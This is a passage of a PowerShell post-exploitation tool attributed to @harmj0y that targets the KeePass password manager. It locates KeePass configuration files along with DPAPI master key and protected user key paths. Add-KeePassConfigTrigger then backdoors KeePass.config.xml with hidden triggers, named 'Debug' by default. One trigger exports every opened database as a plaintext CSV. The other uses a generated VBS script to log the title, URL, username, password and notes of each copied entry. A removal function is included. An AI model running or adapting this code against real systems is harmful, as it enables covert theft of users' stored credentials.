| } 156 | 157 | $KeePassINIProperties = @{ 158 | 'KeePassConfigPath' = $KeePassINIPath 159 | 'SecureDesktop' = $Null 160 | 'LastUsedFile' = $LastUsedFile 161 | 'RecentlyUsed' = $RecentlyUsed 162 | 'DefaultDatabasePath' = $DefaultDatabasePath 163 | 'DefaultKeyFilePath' = $DefaultKeyFilePath 164 | 'DefaultUserAccountData' = $Null 165 | } 166 | $KeePassINIInfo = New-Object -TypeName PSObject -Property $KeePassINIProperties 167 | $KeePassINIInfo.PSObject.TypeNames.Insert(0, 'KeePass.Config') 168 | $KeePassINIInfo 169 | } 170 | 171 | function Local:Get-KeePassXMLFields { 172 | # helper that parses a 2.X KeePass.config.xml into a custom object 173 | [CmdletBinding()] 174 | Param ( 175 | [Parameter(Mandatory=$True)] 176 | [ValidateScript({ Test-Path -Path $_ })] 177 | [String] 178 | $Path 179 | ) 180 | 181 | $KeePassXMLPath = Resolve-Path -Path $Path 182 | $KeePassXMLPathParent = $KeePassXMLPath | Split-Path -Parent 183 | [Xml]$KeePassXML = Get-Content -Path $KeePassXMLPath 184 | 185 | $LastUsedFile = '' 186 | $RecentlyUsed = @() 187 | $DefaultDatabasePath = '' 188 | $DefaultKeyFilePath = '' 189 | $DefaultUserAccountData = $Null 190 | 191 | if($KeePassXML.Configuration.Application.LastUsedFile) { 192 | $LastUsedFile = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Application.LastUsedFile.Path)" -ErrorAction SilentlyContinue 193 | } 194 | 195 | if($KeePassXML.Configuration.Application.MostRecentlyUsed.Items) { 196 | $KeePassXML.Configuration.Application.MostRecentlyUsed.Items | Foreach-Object { 197 | Resolve-Path -Path "$KeePassXMLPathParent\$($_.ConnectionInfo.Path)" -ErrorAction SilentlyContinue | Foreach-Object { 198 | $RecentlyUsed += $_ 199 | } 200 | } 201 | } 202 | 203 | if($KeePassXML.Configuration.Defaults.KeySources.Association.DatabasePath) { 204 | $DefaultDatabasePath = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Defaults.KeySources.Association.DatabasePath)" -ErrorAction SilentlyContinue 205 | } 206 | 207 | if($KeePassXML.Configuration.Defaults.KeySources.Association.KeyFilePath) { 208 | $DefaultKeyFilePath = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Defaults.KeySources.Association.KeyFilePath)" -ErrorAction SilentlyContinue 209 | } 210 | 211 | $DefaultUserAccount = $KeePassXML.Configuration.Defaults.KeySources.Association.UserAccount -eq 'true' 212 | 213 | $SecureDesktop = $KeePassXML.Configuration.Security.MasterKeyOnSecureDesktop -eq 'true' 214 | 215 | if($DefaultUserAccount) { 216 | 217 | $UserPath = $Path.Split('\')[0..2] -join '\' 218 | 219 | $UserMasterKeyFolder = Get-ChildItem -Path "$UserPath\AppData\Roaming\Microsoft\Protect\" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName 220 | 221 | if($UserMasterKeyFolder) { 222 | 223 | $UserSid = $UserMasterKeyFolder | Split-Path -Leaf 224 | 225 | try { 226 | $UserSidObject = (New-Object System.Security.Principal.SecurityIdentifier($UserSid)) 227 | $UserNameDomain = $UserSidObject.Translate([System.Security.Principal.NTAccount]).Value 228 | 229 | $UserDomain, $UserName = $UserNameDomain.Split('\') 230 | } 231 | catch { 232 | Write-Warning "Unable to translate SID from $UserMasterKeyFolder , defaulting to user name" 233 | $UserName = $UserPath.Split('\')[-1] 234 | $UserDomain = $Null 235 | } 236 | 237 | $UserMasterKeyFiles = @(, $(Get-ChildItem -Path $UserMasterKeyFolder -Force | Select-Object -ExpandProperty FullName) ) 238 | } 239 | else { 240 | $UserSid = $Null 241 | $UserName = $Null 242 | $UserDomain = $Null 243 | } 244 | 245 | $UserKeePassDPAPIBlob = Get-Item -Path "$UserPath\AppData\Roaming\KeePass\ProtectedUserKey.bin" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName 246 | 247 | $UserMasterKeyProperties = @{ 248 | 'UserSid' = $UserSid 249 | 'UserName' = $UserName 250 | 'UserDomain' = $UserDomain 251 | 'UserKeePassDPAPIBlob' = $UserKeePassDPAPIBlob 252 | 'UserMasterKeyFiles' = $UserMasterKeyFiles 253 | } 254 | $DefaultUserAccountData = New-Object -TypeName PSObject -Property $UserMasterKeyProperties 255 | } 256 | 257 | $KeePassXmlProperties = @{ 258 | 'KeePassConfigPath' = $KeePassXMLPath 259 | 'SecureDesktop' = $SecureDesktop 260 | 'LastUsedFile' = $LastUsedFile 261 | 'RecentlyUsed' = $RecentlyUsed 262 | 'DefaultDatabasePath' = $DefaultDatabasePath 263 | 'DefaultKeyFilePath' = $DefaultKeyFilePath 264 | 'DefaultUserAccountData' = $DefaultUserAccountData 265 | } 266 | $KeePassXmlInfo = New-Object -TypeName PSObject -Property $KeePassXmlProperties 267 | $KeePassXmlInfo.PSObject.TypeNames.Insert(0, 'KeePass.Config') 268 | $KeePassXmlInfo 269 | } 270 | } 271 | 272 | PROCESS { 273 | if($PSBoundParameters['Path']) { 274 | $XmlFilePaths = $Path 275 | } 276 | else { 277 | # possible locations for KeePass configs 278 | $XmlFilePaths = @("$($Env:WinDir | Split-Path -Qualifier)\Users\") 279 | $XmlFilePaths += "${env:ProgramFiles(x86)}\" 280 | $XmlFilePaths += "${env:ProgramFiles}\" 281 | } 282 | 283 | $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include @('KeePass.config.xml', 'KeePass.ini') -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object { 284 | Write-Verbose "Parsing KeePass config file '$($_.Fullname)'" 285 | 286 | if($_.Extension -eq '.xml') { 287 | Get-KeePassXMLFields -Path $_.Fullname 288 | } 289 | else { 290 | Get-KeePassINIFields -Path $_.Fullname 291 | } 292 | } 293 | } 294 | } 295 | 296 | 297 | function Get-KeePassConfigTrigger { 298 | <# 299 | .SYNOPSIS 300 | 301 | Extracts out the trigger specifications from a KeePass 2.X configuration XML file. 302 | 303 | Author: @harmj0y 304 | License: BSD 3-Clause 305 | Required Dependencies: None 306 | Optional Dependencies: None 307 | 308 | .DESCRIPTION 309 | 310 | This function takes a the path to a KeePass.config.xml file or the input from Find-KeePassConfig, 311 | reads the configuration XML, replaces event/action GUIDs with their readable names, and outputs 312 | each trigger as a custom PSObject. 313 | 314 | .PARAMETER Path 315 | 316 | Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig. 317 | 318 | .EXAMPLE 319 | 320 | PS C:\> $Triggers = Find-KeePassconfig | Get-KeePassConfigTrigger 321 | PS C:\> $Triggers 322 | 323 | 324 | KeePassXMLPath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml 325 | Guid : pagwKjmh8U6WbcplUbQnKg== 326 | Name : blah 327 | Enabled : false 328 | InitiallyOn : false 329 | Events : Events 330 | Conditions : 331 | Actions : Actions 332 | 333 | 334 | 335 | PS C:\> $Triggers.Events.Event 336 | 337 | Name Parameters 338 | ---- ---------- 339 | Opened database file Parameters 340 | 341 | 342 | PS C:\> $Triggers.Actions.Action 343 | 344 | Name Parameters 345 | ---- ---------- 346 | Export active database Parameters 347 | #> 348 | [CmdletBinding()] 349 | param( 350 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] 351 | [Object[]] 352 | $Path 353 | ) 354 | BEGIN { 355 | $EventGUIDs = @{ 356 | '1M7NtUuYT/KmqeJVJh7I6A==' = 'Application initialized' 357 | '2PMe6cxpSBuJxfzi6ktqlw==' = 'Application started and ready' 358 | 'goq3q7EcTr+AOTY/kXGXeA==' = 'Application exit' 359 | '5f8TBoW4QYm5BvaeKztApw==' = 'Opened database file' 360 | 'lcGm/XJ8QMei+VsPoJljHA==' = 'Saving database file' 361 | 's6j9/ngTSmqcXdW6hDqbjg==' = 'Saved database file' 362 | 'jOremqgXSRmjL/QeOx3sSQ==' = 'Closing database file (before saving)' 363 | 'lPpw5bE/QSamTgZP2MNslQ==' = 'Closing database file (after saving)' 364 | 'P35exipUTFiVRIX78m9W3A==' = 'Copied entry data to clipboard' 365 | 'jRLUmvLLT/eo78/arGJomQ==' = 'User interface state updated' 366 | 'R0dZkpenQ6K5aB8fwvebkg==' = 'Custom toolbar button clicked' 367 | } 368 | 369 | $ActionGUIDs = @{ 370 | '2uX4OwcwTBOe7y66y27kxw==' = 'Execute command line / URL' 371 | 'tkamn96US7mbrjykfswQ6g==' = 'Change trigger on/off state' 372 | '/UFV1XmPRPqrifL4cO+UuA==' = 'Open database file' 373 | '9VdhS/hMQV2pE3o5zRDwvQ==' = 'Save active database' 374 | 'Iq135Bd4Tu2ZtFcdArOtTQ==' = 'Synchronize active database with a file/URL' 375 | 'gOZ/TnLxQEWRdh8sI9jsvg==' = 'Import into active database' 376 | 'D5prW87VRr65NO2xP5RIIg==' = 'Export active database' 377 | 'W79FnVS/Sb2X+yzuX5kKZw==' = 'Close active database' 378 | 'P7gzLdYWToeZBWTbFkzWJg==' = 'Activate database (select tab)' 379 | 'Oz0+MeSzQqa6zNXAO6ypaQ==' = 'Wait' 380 | 'CfePcyTsT+yItiXVMPQ0bg==' = 'Show message box' 381 | 'QGmlNlcbR5Kps3NlMODPww==' = 'Perform global auto-type' 382 | 'MXCPrWSTQ/WU7sgaI24yTQ==' = 'Perform auto-type with selected entry' 383 | 'Qug3gXPTTuyBSJ47NqyDhA==' = 'Show entries by tag' 384 | 'lYGPRZlmSYirPoboGpZoNg==' = 'Add custom toolbar button' 385 | '1m1BomyyRLqkSApB+glIeQ==' = 'Remove custom toolbar button' 386 | } 387 | } 388 | PROCESS { 389 | 390 | ForEach($Object in $Path) { 391 | if($Object -is [String]) { 392 | $KeePassXMLPath = $Object 393 | } 394 | elseif ($Object.PSObject.Properties['KeePassConfigPath']) { 395 | $KeePassXMLPath = [String]$Object.KeePassConfigPath 396 | } 397 | elseif ($Object.PSObject.Properties['Path']) { 398 | $KeePassXMLPath = [String]$Object.Path 399 | } 400 | elseif ($Object.PSObject.Properties['FullName']) { 401 | $KeePassXMLPath = [String]$Object.FullName 402 | } 403 | else { 404 | $KeePassXMLPath = [String]$Object 405 | } 406 | 407 | if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { 408 | $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath 409 | 410 | $KeePassXML = ([xml](Get-Content -Path $KeePassXMLPath)).InnerXml 411 | 412 | $EventGUIDs.Keys | Foreach-Object { 413 | $KeePassXML = $KeePassXML.Replace($_, $EventGUIDs[$_]) 414 | } 415 | 416 | $ActionGUIDs.Keys | Foreach-Object { 417 | $KeePassXML = $KeePassXML.Replace($_, $ActionGUIDs[$_]) 418 | } 419 | $KeePassXML = $KeePassXML.Replace('TypeGuid', 'Name') 420 | $KeePassXML = [xml]$KeePassXML 421 | 422 | $Triggers = $KeePassXML.SelectNodes('Configuration/Application/TriggerSystem/Triggers') 423 | 424 | $Triggers | Select-Object -Expand Trigger -ErrorAction SilentlyContinue | ForEach-Object { 425 | $_.PSObject.TypeNames.Insert(0, 'KeePass.Trigger') 426 | $_ | Add-Member Noteproperty 'KeePassConfigPath' $KeePassXMLPath.Path 427 | $_ 428 | } 429 | } 430 | } 431 | } 432 | } 433 | 434 | 435 | function Add-KeePassConfigTrigger { 436 | <# 437 | .SYNOPSIS 438 | 439 | Adds a KeePass exfiltration trigger to a KeePass.config.xml path or result from Find-KeePassConfig. 440 | 441 | Author: @harmj0y 442 | License: BSD 3-Clause 443 | Required Dependencies: None 444 | Optional Dependencies: None 445 | 446 | .DESCRIPTION 447 | 448 | Inserts a custom KeePass.config.xml trigger into a KeePass file location. The trigger -Action can either 449 | export a database to $ExportPath whenever a database is open ('ExportDatabase') or write an data copied on the 450 | clipboard from KeePass to $ExportPath ('ExfilDataCopied'). 451 | 452 | .PARAMETER Path 453 | 454 | Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig. 455 | 456 | .PARAMETER Action 457 | 458 | Either 'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export 459 | copied data to $ExportPath). 460 | 461 | .PARAMETER ExportPath 462 | 463 | The path to export data and/or the $TriggerName.vbs to. 464 | 465 | .PARAMETER TriggerName 466 | 467 | The name for the trigger, default to 'Debug'. 468 | 469 | .EXAMPLE 470 | 471 | PS C:\> 'C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml' | Find-KeePassconfig | Add-KeePassConfigTrigger -Verbose 472 | VERBOSE: KeePass XML set to export database to C:\Users\harmj0y.TESTLAB\AppData\Roaming\KeePass 473 | VERBOSE: C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml backdoored 474 | PS C:\> Find-KeePassconfig C:\Users\ | Get-KeePassConfigTrigger 475 | 476 | 477 | KeePassConfigPath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml 478 | Guid : PtbQvEQp00KFSqVteVdBew== 479 | Name : Debug 480 | Events : Events 481 | Conditions : 482 | Actions : Actions 483 | #> 484 | [CmdletBinding()] 485 | param( 486 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] 487 | [ValidateNotNullOrEmpty()] 488 | [Object[]] 489 | $Path, 490 | 491 | [Parameter(Position = 1)] 492 | [ValidateSet('ExportDatabase', 'ExfilDataCopied')] 493 | [String] 494 | $Action = 'ExportDatabase', 495 | 496 | [Parameter(Position = 2)] 497 | [ValidateScript({Test-Path -Path $_ })] 498 | [String] 499 | $ExportPath = "${Env:APPDATA}\KeePass", 500 | 501 | [Parameter(Position = 3)] 502 | [ValidateNotNullOrEmpty()] 503 | [String] 504 | $TriggerName = 'Debug' 505 | ) 506 | BEGIN { 507 | 508 | $ExportPathFolder = Resolve-Path -Path $ExportPath -ErrorAction Stop 509 | if ((Get-Item -Path $ExportPathFolder) -isnot [System.IO.DirectoryInfo]) { 510 | throw 'ExportPath must be a directory!' 511 | } 512 | 513 | if($Action -eq 'ExportDatabase') { 514 | # 'Opened database file' 515 | $EventTriggerGUID = '5f8TBoW4QYm5BvaeKztApw==' 516 | 517 | # 'Export active database' 518 | $ActionGUID = 'D5prW87VRr65NO2xP5RIIg==' 519 | 520 | $TriggerXML = [xml] @" 521 | 522 | $([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray())) 523 | $TriggerName 524 | 525 | 526 | $EventTriggerGUID 527 | 528 | 0 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | $ActionGUID 537 | 538 | $($ExportPath)\{DB_BASENAME}.csv 539 | KeePass CSV (1.x) 540 | 541 | 542 | 543 | 544 | 545 | 546 | "@ 547 | 548 | Write-Verbose "KeePass XML set to export database to $ExportPath" 549 | } 550 | else { 551 | # 'ExfilDataCopied' 552 | 553 | # 'Copied entry data to clipboard' 554 | $EventTriggerGUID = 'P35exipUTFiVRIX78m9W3A==' 555 | 556 | # 'Execute command line / URL' 557 | $ActionGUID = '2uX4OwcwTBOe7y66y27kxw==' 558 | 559 | $ExfilVBSLocation = "$ExportPath\$($TriggerName).vbs" 560 | 561 | # write out VBS to location above 562 | $ExfilVBS = @" 563 | Set objArgs = Wscript.Arguments 564 | Dim oFS : Set oFS = CreateObject("Scripting.FileSystemObject") 565 | Dim objFile : Set objFile = oFS.OpenTextFile("$ExportPath\$($TriggerName).txt", 8, True) 566 | For Each strArg in objArgs 567 | objFile.Write strArg & "," 568 | Next 569 | objFile.Write vbCrLf 570 | objFile.Close 571 | "@ 572 | 573 | $ExfilVBS | Out-File -Encoding ASCII -FilePath $ExfilVBSLocation 574 | Write-Verbose "Exfil VBS output to $ExfilVBSLocation set to export data to $ExportPath\$($TriggerName).txt" 575 | 576 | $TriggerXML = [xml] @" 577 | 578 | $([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray())) 579 | $TriggerName 580 | 581 | 582 | $EventTriggerGUID 583 | 584 | 0 585 | 586 | 587 | 588 | 589 | 590 | 591 | 592 | $ActionGUID 593 | 594 | %WINDIR%\System32\wscript.exe 595 | $ExfilVBSLocation "{TITLE}" "{URL}" "{USERNAME}" "{PASSWORD}" "{NOTES}" 596 | False 597 | 598 | 599 | 600 | 601 | "@ 602 | 603 | Write-Verbose "KeePass XML set to trigger $ExfilVBSLocation" 604 | } 605 | } 606 | 607 | PROCESS { 608 | 609 | ForEach($Object in $Path) { 610 | if($Object -is [String]) { 611 | $KeePassXMLPath = $Object 612 | } 613 | elseif ($Object.PSObject.Properties['KeePassConfigPath']) { 614 | $KeePassXMLPath = [String]$Object.KeePassConfigPath 615 | } 616 | elseif ($Object.PSObject.Properties['Path']) { 617 | $KeePassXMLPath = [String]$Object.Path 618 | } 619 | elseif ($Object.PSObject.Properties['FullName']) { 620 | $KeePassXMLPath = [String]$Object.FullName 621 | } 622 | else { 623 | $KeePassXMLPath = [String]$Object 624 | } 625 | 626 | if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { 627 | $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath 628 | 629 | $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath) 630 | 631 | $RandomGUID = [System.GUID]::NewGuid().ToByteArray() 632 | 633 | if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -is [String]) { 634 | $Triggers = $KeePassXML.CreateElement('Triggers') 635 | $Null = $Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True)) 636 | $Null = $KeePassXML.Configuration.Application.TriggerSystem.ReplaceChild($Triggers, $KeePassXML.Configuration.Application.TriggerSystem.SelectSingleNode('Triggers')) 637 | } 638 | else { 639 | $Null = $KeePassXML.Configuration.Application.TriggerSystem.Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True)) 640 | } 641 | 642 | $KeePassXML.Save($KeePassXMLPath) 643 | 644 | Write-Verbose "$KeePassXMLPath backdoored" 645 | } 646 | } 647 | } 648 | } 649 | 650 | 651 | function Remove-KeePassConfigTrigger { 652 | <# 653 | .SYNOPSIS 654 | 655 | Removes a KeePass exfiltration trigger to a KeePass.config.xml path or result from Find-KeePassConfig. 656 | 657 | Author: @harmj0y 658 | License: BSD 3-Clause 659 | Required Dependencies: None 660 | Optional Dependencies: None 661 | 662 | .DESCRIPTION 663 | 664 | Removes any custom a custom KeePass.config.xml trigger into a KeePass file location. The trigger -Action can either 665 | export a database to $ExportPath whenever a database is open ('ExportDatabase') or write an data copied on the 666 | clipboard from KeePass to $ExportPath ('ExfilDataCopied'). 667 | 668 | .PARAMETER Path 669 | 670 | Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig. 671 | 672 | .PARAMETER Action 673 | 674 | Either 'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export 675 | copied data to $ExportPath). 676 | 677 | .PARAMETER ExportPath 678 | 679 | The path to export data and/or the $TriggerName.vbs to. 680 | 681 | .PARAMETER TriggerName 682 | 683 | The name for the trigger, default to 'Debug'. 684 | 685 | .EXAMPLE 686 | 687 | PS C:\> Find-KeePassconfig C:\users\ | Remove-KeePassConfigTrigger 688 | 689 | 690 | Guid : wEIpZ61vk0yV5uENe5z0oA== 691 | Name : Debug 692 | Events : Events 693 | Conditions : 694 | Actions : Actions 695 | 696 | 697 | 698 | PS C:\> Find-KeePassconfig C:\users\ | Get-KeePassConfigTrigger 699 | PS C:\> 700 | #> 701 | [CmdletBinding()] 702 | param( 703 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] 704 | [ValidateNotNullOrEmpty()] 705 | [Object[]] 706 | $Path, 707 | 708 | [Parameter(Position = 1)] 709 | [ValidateNotNullOrEmpty()] 710 | [String] 711 | $TriggerName = '*' 712 | ) 713 | 714 | PROCESS { 715 | 716 | ForEach($Object in $Path) { 717 | 718 | if($Object -is [String]) { 719 | $KeePassXMLPath = $Object 720 | } 721 | elseif ($Object.PSObject.Properties['KeePassConfigPath']) { 722 | $KeePassXMLPath = [String]$Object.KeePassConfigPath 723 | } 724 | elseif ($Object.PSObject.Properties['Path']) { 725 | $KeePassXMLPath = [String]$Object.Path 726 | } 727 | elseif ($Object.PSObject.Properties['FullName']) { 728 | $KeePassXMLPath = [String]$Object.FullName 729 | } 730 | else { 731 | $KeePassXMLPath = [String]$Object 732 | } 733 | 734 | Write-Verbose "KeePassXMLPath: $KeePassXMLPath" 735 | 736 | if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) { 737 | $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath 738 | 739 | $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath) 740 | 741 | $RandomGUID = [System.GUID]::NewGuid().ToByteArray() 742 | 743 | if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -isnot [String]) { 744 | 745 | $Children = $KeePassXML.Configuration.Application.TriggerSystem.Triggers | ForEach-Object {$_.Trigger} | Where-Object {$_.Name -like $TriggerName} 746 | Write-Verbose "Removing triggers matching name $TriggerName" 747 | ForEach($Child in $Children) { 748 | $KeePassXML.Configuration.Application.TriggerSystem.Triggers.RemoveChild($Child) 749 | } 750 | } 751 | try { 752 | $KeePassXML.Save($KeePassXMLPath) 753 | Write-Verbose "$KeePassXMLPath triggers removed" 754 | } 755 | catch { 756 | Write-Warning "Error setting path $KeePassXMLPath : $_" 757 | } 758 | 759 | } 760 | } 761 | } 762 | } 763 | --------------------------------------------------------------------------------